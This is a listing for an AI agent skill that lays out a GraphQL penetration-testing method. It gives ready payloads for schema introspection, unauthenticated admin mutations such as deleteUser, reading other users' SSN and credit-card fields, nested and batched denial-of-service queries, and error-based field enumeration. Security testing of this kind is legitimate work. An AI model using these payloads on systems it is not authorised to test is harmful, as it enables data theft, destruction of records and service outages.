Attack Graphql
DevOps & Securityattack-graphqlAttack Graphql is an Agent Skill for devops & security published in the CyberStrikeus/CyberStrike repository on GitHub: a SKILL.md instruction file an AI agent can load to do this task.
GraphQL vulnerability testing — introspection exposure, complexity DoS, batch abuse, mutation auth bypass
QUICK START
How to use this skill
Bring this guide into your coding agent with a prompt tailored to the tool you use.
- Open your project in Codex.
- Copy and paste the prompt below.
- Review files and risks before approving any action.
Prompt to paste
Inspect the Agent Skill at https://github.com/CyberStrikeus/CyberStrike/blob/HEAD/.cyberstrike/skill/attack-graphql/SKILL.md and all supporting files. Report provenance, permissions, scripts, dependencies, and security risks. Propose an exact installation into .agents/skills/attack-graphql, but wait for my approval before writing files or running scripts.
Copying this prompt does not install or run the skill. Review third-party files before use.
GraphQL Vulnerability Testing
Objective
Exploit GraphQL-specific vulnerabilities including schema exposure, query complexity abuse, and authorization bypass.
Testing Methodology
Phase 1: Automated Testing
# Full GraphQL test suite
attack_script graphql_tester "https://TARGET/graphql" \
-H "Authorization:Bearer TOKEN" \
--json-output
# Custom depth/batch
attack_script graphql_tester "https://TARGET/graphql" \
--depth 15 --batch-count 100
Phase 2: Introspection Query
# Full schema extraction
curl -s -X POST https://TARGET/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name type { name } } } mutationType { fields { name args { name type { name } } } } queryType { fields { name } } } }"}'
If introspection is enabled, map all types, queries, mutations, and subscriptions.
Phase 3: Authorization Bypass
# Access admin queries without auth
{ adminUsers { id email role } }
# Mutation without auth
mutation { deleteUser(id: "123") { success } }
# Access other user's data
{ user(id: "OTHER_USER_ID") { email ssn creditCard } }
Phase 4: Complexity / DoS
# Deeply nested query
{ users { posts { comments { author { posts { comments { author { id } } } } } } } }
# Alias multiplication
{ a1: __typename a2: __typename ... a100: __typename }
# Batch queries (array)
[{"query":"{ __typename }"}, {"query":"{ __typename }"}, ... x50]
Phase 5: Directive Abuse
# Skip/include directive for info leakage
{ user(id: "1") { name email @skip(if: false) secretField @include(if: true) } }
# Field suggestions (error-based enum)
{ user { nonExistentField } }
# Error may suggest: "Did you mean: password, secret_key?"
What Constitutes a Finding
| Finding | Severity |
|---|---|
| Introspection enabled (schema exposed) | Medium (P3) |
| Admin mutations accessible without auth | Critical (P1) |
| Other user data accessible (IDOR) | High (P2) |
| DoS via complexity (server timeout/crash) | Medium (P3) |
| Batch queries bypass rate limiting | Medium (P3) |
Evidence Requirements
- GraphQL endpoint URL
- Query/mutation sent
- Response showing unauthorized data
- For introspection: schema dump (types, mutations, queries)
- For DoS: response timing proving server overload
Tools
attack_script graphql_tester— automated introspection + DoS + batch testing